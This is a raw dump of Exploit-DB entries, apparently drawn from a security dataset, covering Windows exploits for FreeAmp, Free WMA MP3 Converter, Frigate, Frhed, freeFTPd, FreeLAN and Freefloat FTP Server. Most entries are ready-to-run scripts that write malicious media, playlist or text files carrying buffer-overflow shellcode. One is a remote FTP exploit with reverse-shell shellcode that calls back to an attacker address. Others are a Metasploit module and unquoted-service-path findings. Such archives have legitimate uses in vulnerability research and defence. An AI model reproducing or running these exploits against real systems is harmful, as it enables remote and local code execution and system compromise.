deardaniel/secdata-raw huggingface dataset:
Exploit-DB #35074
Description: Free WMA MP3 Converter 1.8 - '.wav' Local Buffer Overflow
Type: local
Platform: windows
Date: 2014-10-27
Author: metacom

Exploit:
#!/usr/bin/env python
# Free WMA MP3 Converter 1.8 Buffer Overflow 
# Version:1.8 Build 20140226 
# Author:metacom    
# Date:10.23.2014
# Download:http://www.eusing.com/free_wma_converter/mp3_wma_converter.htm
# Tested on:Win7-En 32bit - Win8.1-DE 64bit
import struct
def little_endian(address):
  return struct.pack("<L",address)
poc="\x41" * 4112
eip=little_endian(0x0045CD1A)#0045CD1A   FFE4  JMP ESP
nops="\x90" * 80
shellcode=("\xdb\xd7\xd9\x74\x24\xf4\xb8\x79\xc4\x64\xb7\x33\xc9\xb1\x38"
"\x5d\x83\xc5\x04\x31\x45\x13\x03\x3c\xd7\x86\x42\x42\x3f\xcf"
"\xad\xba\xc0\xb0\x24\x5f\xf1\xe2\x53\x14\xa0\x32\x17\x78\x49"
"\xb8\x75\x68\xda\xcc\x51\x9f\x6b\x7a\x84\xae\x6c\x4a\x08\x7c"
"\xae\xcc\xf4\x7e\xe3\x2e\xc4\xb1\xf6\x2f\x01\xaf\xf9\x62\xda"
"\xa4\xa8\x92\x6f\xf8\x70\x92\xbf\x77\xc8\xec\xba\x47\xbd\x46"
"\xc4\x97\x6e\xdc\x8e\x0f\x04\xba\x2e\x2e\xc9\xd8\x13\x79\x66"
"\x2a\xe7\x78\xae\x62\x08\x4b\x8e\x29\x37\x64\x03\x33\x7f\x42"
"\xfc\x46\x8b\xb1\x81\x50\x48\xc8\x5d\xd4\x4d\x6a\x15\x4e\xb6"
"\x8b\xfa\x09\x3d\x87\xb7\x5e\x19\x8b\x46\xb2\x11\xb7\xc3\x35"
"\xf6\x3e\x97\x11\xd2\x1b\x43\x3b\x43\xc1\x22\x44\x93\xad\x9b"
"\xe0\xdf\x5f\xcf\x93\xbd\x35\x0e\x11\xb8\x70\x10\x29\xc3\xd2"
"\x79\x18\x48\xbd\xfe\xa5\x9b\xfa\xf1\xef\x86\xaa\x99\xa9\x52"
"\xef\xc7\x49\x89\x33\xfe\xc9\x38\xcb\x05\xd1\x48\xce\x42\x55"
"\xa0\xa2\xdb\x30\xc6\x11\xdb\x10\xa5\xaf\x7f\xcc\x43\xa1\x1b"
"\x9d\xe4\x4e\xb8\x32\x72\xc3\x34\xd0\xe9\x10\x87\x46\x91\x37"
"\x8b\x15\x7b\xd2\x2b\xbf\x83")
exploit = poc + eip + nops + shellcode
try:
    rst= open("bof_WMA MP3 Converter.wav",'w')
    rst.write(exploit)
    rst.close()
except:
    print "Error"
Exploit-DB #17441
Description: FreeAmp 2.0.7 - '.fat' Local Buffer Overflow
Type: local
Platform: windows
Date: 2011-06-23
Author: Iván García Ferreira

Exploit:
# Exploit Title: FreeAmp 2.0.7 .fat Buffer Overflow
# Date: 22/06/2011
# Author: Iván García Ferreira
# Version: 2.0.7
# Tested on: Windows XP SP3
#
# Description:
# The freeamp music player has a tool to create your own theme. If you go to 
# "tools" directory in the Freeamp's directory you can see the "MakeTheme.exe" 
# tool. 
# With this command:
# c:\Freeamp\Tools> MakeTheme -d ..\themes\Freeamp.fat
# you uncompress the freeamp's theme. Then, you can see and a lot of files that
# the tool needs to make the theme. If you write a very long string in the 
# "title.txt" file and you generate a new theme with:
# c:\Freeamp\Tools> MakeTheme exploit.fat theme.xml title.txt *.bmp
# When the user try to test the new theme called "exploit", it will generate a 
# buffer overflow vulnerability.

fichero = open("title.txt","w")
fichero.write("A"*268)
fichero.write("\xF9\xCD\x20\x12")
fichero.write("C"*16)
fichero.write("\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" +
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" +
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" +
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" +
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" +
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" +
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" +
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" +
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" +
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" +
"\x7f\xe8\x7b\xca")
fichero.close()
Exploit-DB #17607
Description: FreeAmp 2.0.7 - '.fat' Local Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2011-08-04
Author: James Fitts

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Freeamp 2.0.7 (FAT File) Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow vulnerability
					found in Freeamp 2.0.7. The overflow occurs when an
					overly long string is parsed in the FAT file. This
					module creates a txt file that has to be used in the
					creation of a FAT file. The FAT file then has to be
					imported as a theme. To create the FAT file you need
					to first decompress the basic theme template,
					MakeTheme -d freeamp.fat. Next create the new FAT file
					MakeTheme crash.fat theme.xml title.txt *.bmp.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 
					      'Ivan Garcia Ferreira',	# Initial Discovery
					      'James Fitts'		# Metasploit Module
					    ],
			'Version'        => '$Revision: $',
			'References'     =>
				[
					[ 'URL', 'http://www.exploit-db.com/exploits/17441' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'BadChars' => "\x00\x0a\x0d",
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 
						'Windows XP SP3 EN', 
						{ 
							'Ret' => 0x1220161a, # push esp, ret 04 in download.ui
							'Offset' => 268
						} 
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Jun 23 2011',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('FILENAME', [ true, 'The file name.',  'title.txt']),
				], self.class)
	end

	def exploit
		
		txt = make_nops(target['Offset'])
		txt << [target.ret].pack('V')
		txt << make_nops(50)
		txt << payload.encoded
		txt << make_nops(50)

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(txt)

	end

end
Exploit-DB #15727
Description: FreeAmp 2.0.7 - '.m3u' Local Buffer Overflow
Type: local
Platform: windows
Date: 2010-12-11
Author: zota

Exploit:
# Exploit Title: FreeAmp 2.0.7 .m3u Buffer Overflow - Egghunter
# Google Dork: N/A
# Date: 11/12/2010
# Author: zota (Thanks to Andrew; andras.kabai@cert-hungary.hu)
# Software Link: http://letoltes.szoftverbazis.hu/bfc5ec1d5e80cee5b5d3f78459113ed93c51f649/4d03800a/freeamp-v2-0-7-JI2/freeampsetup_2_0_7.exe
# Version: 2.0.7
# Tested on: Windows XP SP3 HUN
# CVE : N/A


filename = "crash.m3u"

egg = "H4CK"

#egghunter --> size 32 byte

egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x48\x34\x43\x4b\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

padding = "A" * 14654

#kernel32.dll
#7c86467b   --> jmp esp

eip = "\x7b\x46\x86\x7c"

# 16 byte nop after eip
nop= "C" * 16


#msfpayload windows/exec CMD=calc.exe r | msfencode -b "\x00\x0a\x0d --> size 228 byte"

payload = (
"\xdb\xcf\xd9\x74\x24\xf4\xba\xf0\x1b\xe7\xdb\x5b\x31\xc9" +
"\xb1\x33\x31\x53\x18\x03\x53\x18\x83\xc3\xf4\xf9\x12\x27" +
"\x1c\x74\xdc\xd8\xdc\xe7\x54\x3d\xed\x35\x02\x35\x5f\x8a" +
"\x40\x1b\x53\x61\x04\x88\xe0\x07\x81\xbf\x41\xad\xf7\x8e" +
"\x52\x03\x38\x5c\x90\x05\xc4\x9f\xc4\xe5\xf5\x6f\x19\xe7" +
"\x32\x8d\xd1\xb5\xeb\xd9\x43\x2a\x9f\x9c\x5f\x4b\x4f\xab" +
"\xdf\x33\xea\x6c\xab\x89\xf5\xbc\x03\x85\xbe\x24\x28\xc1" +
"\x1e\x54\xfd\x11\x62\x1f\x8a\xe2\x10\x9e\x5a\x3b\xd8\x90" +
"\xa2\x90\xe7\x1c\x2f\xe8\x20\x9a\xcf\x9f\x5a\xd8\x72\x98" +
"\x98\xa2\xa8\x2d\x3d\x04\x3b\x95\xe5\xb4\xe8\x40\x6d\xba" +
"\x45\x06\x29\xdf\x58\xcb\x41\xdb\xd1\xea\x85\x6d\xa1\xc8" +
"\x01\x35\x72\x70\x13\x93\xd5\x8d\x43\x7b\x8a\x2b\x0f\x6e" +
"\xdf\x4a\x52\xe5\x1e\xde\xe8\x40\x20\xe0\xf2\xe2\x48\xd1" +
"\x79\x6d\x0f\xee\xab\xc9\xff\xa4\xf6\x78\x97\x60\x63\x39" +
"\xfa\x92\x59\x7e\x02\x11\x68\xff\xf1\x09\x19\xfa\xbe\x8d" +
"\xf1\x76\xaf\x7b\xf6\x25\xd0\xa9\x95\xa8\x42\x31\x74\x4e" +
"\xe2\xd0\x88\x9a")

buffer = padding + egg + egg + payload + "A" * (14907 - len(padding) - len(egg) - len(egg) -len(payload)) + eip + nop + egghunter + "D" * (15000 - 14907 - len(egg) - len(nop) - len(egghunter))

textfile = open(filename,'w')
textfile.write(buffer)
textfile.close()
Exploit-DB #17449
Description: FreeAmp 2.0.7 - '.pls' Local Buffer Overflow
Type: local
Platform: windows
Date: 2011-06-24
Author: C4SS!0 G0M3S

Exploit:
#!/usr/bin/python
#
#[+]Exploit Title: FreeAmp 2.0.7 .PLS File Buffer Overflow Exploit
#[+]Date: 24\06\2011
#[+]Author: C4SS!0 G0M3S
#[+]Version: 2.0.7
#[+]Tested On: WIN-XP SP3 Brazilian Portuguese
#[+]CVE: N/A
#
#

from struct import pack
import os
import sys
from time import sleep

if os.name == "nt":
	os.system("cls")
	os.system("color 4f")
	os.system("Title FreeAmp .PLS File Buffer Overflow Exploit")
else:
	os.system("clear")

print '''
		
		FreeAmp 2.0.7 .PLS File Buffer Overflow Exploit
		Created By C4SS!0 G0M3S
		E-mail louredo_@hotmail.com
		
'''
sleep(2)
#Shellcode WinExec "Calc.exe"
shellcode = ("\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" 
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" 
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" 
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" 
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" 
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" 
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" 
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" 
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" 
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"
"\x7f\xe8\x7b\xca")

buf = ("\x41" * 893)
buf += ("\xeb\x08\x90\x90")
buf += pack('<L',0x004027BF)#POP/POP/RETN
buf += "\x90" * 20
buf += shellcode
buf += "\x41" * (30000-len(buf))
exploit = ('''[playlist]
File1=http://'''+buf+'''
NumberOfEntries=1
Version=2
''')
print "\t\t[+]Creating File  Exploit.pls..."
sleep(1)
try:
	f = open("Exploit.pls","wb")
	f.write(exploit)
	f.close()
	print "\t\t[+]File Exploit.pls Created."
	sleep(2)
except:
	print "\t\t[-]Error in Create file Exploit.pls"
	sleep(1)
Exploit-DB #51706
Description: Freefloat FTP Server 1.0 - 'PWD' Remote Buffer Overflow
Type: local
Platform: windows
Date: 2023-09-04
Author: Waqas Ahmed Faroouqi

Exploit:
#Exploit title: Freefloat FTP Server 1.0 - 'PWD' Remote Buffer Overflow
#Date: 08/22/2023
#Exploit Author: Waqas Ahmed Faroouqi (ZEROXINN)
#Vendor Homepage: http://www.freefoat.com
#Version: 1.0
#Tested on Windows XP SP3 


#!/usr/bin/python

import socket

#Metasploit Shellcode
#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.146.134 LPORT=4444 -b '\x00\x0d' 

#nc -lvp 4444
#Send exploit


#offset = 247 
#badchars=\x00\x0d\
#return_address=\x3b\x69\x5a\x77 (ole32.dll)

payload = (
"\xb8\xf3\x93\x2e\x96\xdb\xca\xd9\x74\x24\xf4\x5b\x31\xc9"
"\xb1\x52\x31\x43\x12\x83\xeb\xfc\x03\xb0\x9d\xcc\x63\xca"
"\x4a\x92\x8c\x32\x8b\xf3\x05\xd7\xba\x33\x71\x9c\xed\x83"
"\xf1\xf0\x01\x6f\x57\xe0\x92\x1d\x70\x07\x12\xab\xa6\x26"
"\xa3\x80\x9b\x29\x27\xdb\xcf\x89\x16\x14\x02\xc8\x5f\x49"
"\xef\x98\x08\x05\x42\x0c\x3c\x53\x5f\xa7\x0e\x75\xe7\x54"
"\xc6\x74\xc6\xcb\x5c\x2f\xc8\xea\xb1\x5b\x41\xf4\xd6\x66"
"\x1b\x8f\x2d\x1c\x9a\x59\x7c\xdd\x31\xa4\xb0\x2c\x4b\xe1"
"\x77\xcf\x3e\x1b\x84\x72\x39\xd8\xf6\xa8\xcc\xfa\x51\x3a"
"\x76\x26\x63\xef\xe1\xad\x6f\x44\x65\xe9\x73\x5b\xaa\x82"
"\x88\xd0\x4d\x44\x19\xa2\x69\x40\x41\x70\x13\xd1\x2f\xd7"
"\x2c\x01\x90\x88\x88\x4a\x3d\xdc\xa0\x11\x2a\x11\x89\xa9"
"\xaa\x3d\x9a\xda\x98\xe2\x30\x74\x91\x6b\x9f\x83\xd6\x41"
"\x67\x1b\x29\x6a\x98\x32\xee\x3e\xc8\x2c\xc7\x3e\x83\xac"
"\xe8\xea\x04\xfc\x46\x45\xe5\xac\x26\x35\x8d\xa6\xa8\x6a"
"\xad\xc9\x62\x03\x44\x30\xe5\xec\x31\xa8\x73\x84\x43\xcc"
"\x6a\x09\xcd\x2a\xe6\xa1\x9b\xe5\x9f\x58\x86\x7d\x01\xa4"
"\x1c\xf8\x01\x2e\x93\xfd\xcc\xc7\xde\xed\xb9\x27\x95\x4f"
"\x6f\x37\x03\xe7\xf3\xaa\xc8\xf7\x7a\xd7\x46\xa0\x2b\x29"
"\x9f\x24\xc6\x10\x09\x5a\x1b\xc4\x72\xde\xc0\x35\x7c\xdf"
"\x85\x02\x5a\xcf\x53\x8a\xe6\xbb\x0b\xdd\xb0\x15\xea\xb7"
"\x72\xcf\xa4\x64\xdd\x87\x31\x47\xde\xd1\x3d\x82\xa8\x3d"
"\x8f\x7b\xed\x42\x20\xec\xf9\x3b\x5c\x8c\x06\x96\xe4\xac"
"\xe4\x32\x11\x45\xb1\xd7\x98\x08\x42\x02\xde\x34\xc1\xa6"
"\x9f\xc2\xd9\xc3\x9a\x8f\x5d\x38\xd7\x80\x0b\x3e\x44\xa0"
"\x19")

shellcode = 'A' * 247 + "\x3b\x69\x5a\x77" + '\x90' * 10 + payload

def main():
    ip = '192.168.146.135'
    port = 21

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((ip, port))
    
    sock.recv(1024)
    sock.send('USER anonymous\r\n')
    sock.recv(1024)
    sock.send('PASS anonymous\r\n')
    sock.recv(1024)
    sock.send('pwd ' + shellcode + '\r\n')
    sock.close()
    
if __name__ == '__main__':
    main()
Exploit-DB #48043
Description: freeFTPd v1.0.13 - 'freeFTPdService' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-02-11
Author: boku

Exploit:
Exploit Title: freeFTPd v1.0.13 - 'freeFTPdService' Unquoted Service Path
Exploit Author: boku
Date: 2020-02-10
Vendor Homepage: http://www.freesshd.com
Software Link: http://www.freesshd.com/freeFTPd.exe
Version: 1.0.13
Tested On: Windows 10 (32-bit)

C:\Users\nightelf>wmic service get name, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i "freeftp" | findstr /i /v """
freeFTPdService                           C:\Program Files\freeSSHd\freeFTPdService.exe                                      Auto

C:\Users\nightelf>sc qc freeFTPdService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: freeFTPdService
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\freeSSHd\freeFTPdService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : freeFTPdService
        DEPENDENCIES       : RPCSS
        SERVICE_START_NAME : LocalSystem
Exploit-DB #49630
Description: FreeLAN 2.2 - 'FreeLAN Service' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-03-09
Author: Mohammed Alshehri

Exploit:
# Exploit Title: FreeLAN 2.2 - 'FreeLAN Service' Unquoted Service Path
# Date: 2021-1-20
# Exploit Author: Mohammed Alshehri
# Vendor Homepage: www.freelan.org
# Software Link: https://github.com/freelan-developers/freelan/releases/download/2.2/freelan-2.2.0-x86-install.exe
# Version: Version 2.2
# Tested on: Microsoft Windows 10 Education - 10.0.17763 N/A Build 17763


# Service info:
C:\Users\m507>sc qc "FreeLAN Service"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: FreeLAN Service
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\FreeLAN\bin\freelan.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : FreeLAN Service
        DEPENDENCIES       : tap0901
                           : Dhcp
        SERVICE_START_NAME : LocalSystem

C:\Users\m507>


# Exploit:
This vulnerability could permit executing code during startup or reboot with the escalated privileges.
Exploit-DB #48044
Description: FreeSSHd 1.3.1 - 'FreeSSHDService' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-02-11
Author: boku

Exploit:
Exploit Title: FreeSSHd 1.3.1 - 'FreeSSHDService' Unquoted Service Path
Exploit Author: boku
Date: 2020-02-10
Vendor Homepage: http://www.freesshd.com 
Software Link: http://www.freesshd.com/freeSSHd.exe
Version: 1.3.1
Tested On: Windows 10 (32-bit)

C:\Users\nightelf>wmic service get name, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i "freesshd" | findstr /i /v """
FreeSSHDService                           C:\Program Files\freeSSHd\FreeSSHDService.exe                                      Auto

C:\Users\nightelf>sc qc FreeSSHDService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: FreeSSHDService
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\freeSSHd\FreeSSHDService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : FreeSSHDService
        DEPENDENCIES       : RPCSS
        SERVICE_START_NAME : LocalSystem
Exploit-DB #51078
Description: Frhed (Free hex editor) v1.6.0 - Buffer overflow
Type: local
Platform: windows
Date: 2023-03-27
Author: Rafael Pedrero

Exploit:
# Exploit Title: Frhed (Free hex editor) v1.6.0 - Buffer overflow
# Discovery by: Rafael Pedrero
# Discovery Date: 2022-01-09
# Vendor Homepage: http://frhed.sourceforge.net/
# Software Link : http://frhed.sourceforge.net/
# Tested Version: 1.6.0
# Tested on:  Windows 10

CVSS v3: 7.3
CVSS vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
CWE: CWE-119

Buffer overflow controlling the Structured Exception Handler (SEH) records
in Frhed (Free hex editor) v1.6.0, and possibly other versions, may allow
attackers to execute arbitrary code via a long file name argument.

Proof of concept:

Open Frhed.exe from command line with a large string in Arguments, more
than 494 chars:

File '<Frhed_PATH>\Frhed.exe'
Arguments
'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4...'

SEH chain of main thread
Address    SE handler
0018FC8C   41367141
35714134   *** CORRUPT ENTRY ***

0BADF00D   [+] Examining SEH chain
0BADF00D       SEH record (nseh field) at 0x0018fc8c overwritten with
normal pattern : 0x35714134 (offset 494), followed by 876 bytes of cyclic
data after the handler

0BADF00D   ------------------------------
                       'Targets'        =>
                           [
                               [ '<fill in the OS/app version here>',
                                   {
                                       'Ret'         =>    0x00401ba7, #
pop ecx # pop ecx # ret    - Frhed.exe (change this value by other without
\x00)
                                       'Offset'    =>    494
                                   }
                               ],
                           ],
Exploit-DB #48563
Description: Frigate 3.36.0.9 - 'Command Line' Local Buffer Overflow (SEH) (PoC)
Type: local
Platform: windows
Date: 2020-06-08
Author: Paras Bhatia

Exploit:
# Exploit Title: Frigate 3.36.0.9 - 'Command Line' Local Buffer Overflow (SEH) (PoC) 
# Vendor Homepage: http://www.frigate3.com/ 
# Software Link Download: http://www.frigate3.com/download/frigate3_pro.exe
# Exploit Author: Paras Bhatia
# Discovery Date: 2020-06-07
# Vulnerable Software: Frigate
# Version: <= 3.36.0.9
# Vulnerability Type: Local Buffer Overflow
# Tested on: Windows 7 Ultimate Service Pack 1 (32 bit - English)  

#Steps to Produce the Crash:

#   1.- Run python code: FrigateLCE.py
#   2.- Copy content to clipboard
#   3.- Turn off DEP for Frigate3.exe
#   4.- Open "Frigate3.exe"
#   5.- Go to "Command" > "Command Line" > "Activate Command Line"
#   6.- Paste ClipBoard into the "Command Line" field which appears at the bottom of the Frigate application.
#   7.- Press Enter from Keyboard.
#   7.- Click on OK in the dialog box that appears.
#   8.- Calc.exe runs.


#################################################################################################################################################

#Python "FrigateLCE.py" Code:

f= open("FrigateLCE.txt", "w")

junk="A" * 4112

nseh="\xeb\x20\x90\x90"

seh="\x4B\x0C\x01\x40"

#40010C4B   5B               POP EBX
#40010C4C   5D               POP EBP
#40010C4D   C3               RETN
#POP EBX ,POP EBP, RETN | [rtl60.bpl]  (C:\Program Files\Frigate3\rtl60.bpl)

nops="\x90" * 50

# msfvenom -a x86 --platform windows -p windows/exec CMD=calc -e x86/alpha_mixed -b "\x00\x14\x09\x0a\x0d"  -f python

buf =  ""
buf += "\xbf\xe3\xfa\x7b\x97\xdb\xd5\xd9\x74\x24\xf4\x5d\x2b"
buf += "\xc9\xb1\x30\x83\xed\xfc\x31\x7d\x0f\x03\x7d\xec\x18"
buf += "\x8e\x6b\x1a\x5e\x71\x94\xda\x3f\xfb\x71\xeb\x7f\x9f"
buf += "\xf2\x5b\xb0\xeb\x57\x57\x3b\xb9\x43\xec\x49\x16\x63"
buf += "\x45\xe7\x40\x4a\x56\x54\xb0\xcd\xd4\xa7\xe5\x2d\xe5"
buf += "\x67\xf8\x2c\x22\x95\xf1\x7d\xfb\xd1\xa4\x91\x88\xac"
buf += "\x74\x19\xc2\x21\xfd\xfe\x92\x40\x2c\x51\xa9\x1a\xee"
buf += "\x53\x7e\x17\xa7\x4b\x63\x12\x71\xe7\x57\xe8\x80\x21"
buf += "\xa6\x11\x2e\x0c\x07\xe0\x2e\x48\xaf\x1b\x45\xa0\xcc"
buf += "\xa6\x5e\x77\xaf\x7c\xea\x6c\x17\xf6\x4c\x49\xa6\xdb"
buf += "\x0b\x1a\xa4\x90\x58\x44\xa8\x27\x8c\xfe\xd4\xac\x33"
buf += "\xd1\x5d\xf6\x17\xf5\x06\xac\x36\xac\xe2\x03\x46\xae"
buf += "\x4d\xfb\xe2\xa4\x63\xe8\x9e\xe6\xe9\xef\x2d\x9d\x5f"
buf += "\xef\x2d\x9e\xcf\x98\x1c\x15\x80\xdf\xa0\xfc\xe5\x10"
buf += "\xeb\x5d\x4f\xb9\xb2\x37\xd2\xa4\x44\xe2\x10\xd1\xc6"
buf += "\x07\xe8\x26\xd6\x6d\xed\x63\x50\x9d\x9f\xfc\x35\xa1"
buf += "\x0c\xfc\x1f\xc2\xd3\x6e\xc3\x05"




payload = junk + nseh + seh + nops + buf

f.write(payload)
f.close
Exploit-DB #48579
Description: Frigate Professional 3.36.0.9 - 'Find Computer' Local Buffer Overflow (SEH) (PoC)
Type: local
Platform: windows
Date: 2020-06-11
Author: Paras Bhatia

Exploit:
# Exploit Title: Frigate Professional 3.36.0.9 - 'Find Computer' Local Buffer Overflow (SEH) (PoC) 
# Vendor Homepage: http://www.frigate3.com/ 
# Software Link Download: http://www.frigate3.com/download/frigate3_pro.exe
# Exploit Author: Paras Bhatia
# Discovery Date: 2020-06-04
# Vulnerable Software: Frigate Professional
# Version: 3.36.0.9
# Vulnerability Type: Local Buffer Overflow
# Tested on: Windows 7 Ultimate Service Pack 1 (32 bit - English)  

#Steps to Produce the Crash:

#   1.- Run python code: FrigateLCE.py
#   2.- Copy content to clipboard
#   3.- Turn off DEP for Frigate3.exe
#   4.- Open "Frigate3.exe"
#   5.- Go to "Disk" > Find Computer
#   6.- Paste ClipBoard into the "Computer Name:" field
#   7.- Click on OK
#   8.- Calc.exe runs


#################################################################################################################################################

#Python "FrigateLCE.py" Code:

f= open("FrigateLCE.txt", "w")

junk="A" * 4112

nseh="\xeb\x20\x90\x90"

seh="\x4B\x0C\x01\x40"

#40010C4B   5B               POP EBX
#40010C4C   5D               POP EBP
#40010C4D   C3               RETN
#POP EBX ,POP EBP, RETN | [rtl60.bpl]  (C:\Program Files\Frigate3\rtl60.bpl)

nops="\x90" * 50

# msfvenom -a x86 --platform windows -p windows/exec CMD=calc -e x86/alpha_mixed -b "\x00\x14\x09\x0a\x0d"  -f python

buf =  ""
buf += "\xbf\xe3\xfa\x7b\x97\xdb\xd5\xd9\x74\x24\xf4\x5d\x2b"
buf += "\xc9\xb1\x30\x83\xed\xfc\x31\x7d\x0f\x03\x7d\xec\x18"
buf += "\x8e\x6b\x1a\x5e\x71\x94\xda\x3f\xfb\x71\xeb\x7f\x9f"
buf += "\xf2\x5b\xb0\xeb\x57\x57\x3b\xb9\x43\xec\x49\x16\x63"
buf += "\x45\xe7\x40\x4a\x56\x54\xb0\xcd\xd4\xa7\xe5\x2d\xe5"
buf += "\x67\xf8\x2c\x22\x95\xf1\x7d\xfb\xd1\xa4\x91\x88\xac"
buf += "\x74\x19\xc2\x21\xfd\xfe\x92\x40\x2c\x51\xa9\x1a\xee"
buf += "\x53\x7e\x17\xa7\x4b\x63\x12\x71\xe7\x57\xe8\x80\x21"
buf += "\xa6\x11\x2e\x0c\x07\xe0\x2e\x48\xaf\x1b\x45\xa0\xcc"
buf += "\xa6\x5e\x77\xaf\x7c\xea\x6c\x17\xf6\x4c\x49\xa6\xdb"
buf += "\x0b\x1a\xa4\x90\x58\x44\xa8\x27\x8c\xfe\xd4\xac\x33"
buf += "\xd1\x5d\xf6\x17\xf5\x06\xac\x36\xac\xe2\x03\x46\xae"
buf += "\x4d\xfb\xe2\xa4\x63\xe8\x9e\xe6\xe9\xef\x2d\x9d\x5f"
buf += "\xef\x2d\x9e\xcf\x98\x1c\x15\x80\xdf\xa0\xfc\xe5\x10"
buf += "\xeb\x5d\x4f\xb9\xb2\x37\xd2\xa4\x44\xe2\x10\xd1\xc6"
buf += "\x07\xe8\x26\xd6\x6d\xed\x63\x50\x9d\x9f\xfc\x35\xa1"
buf += "\x0c\xfc\x1f\xc2\xd3\x6e\xc3\x05"


payload = junk + nseh + seh + nops + buf

f.write(payload)
f.close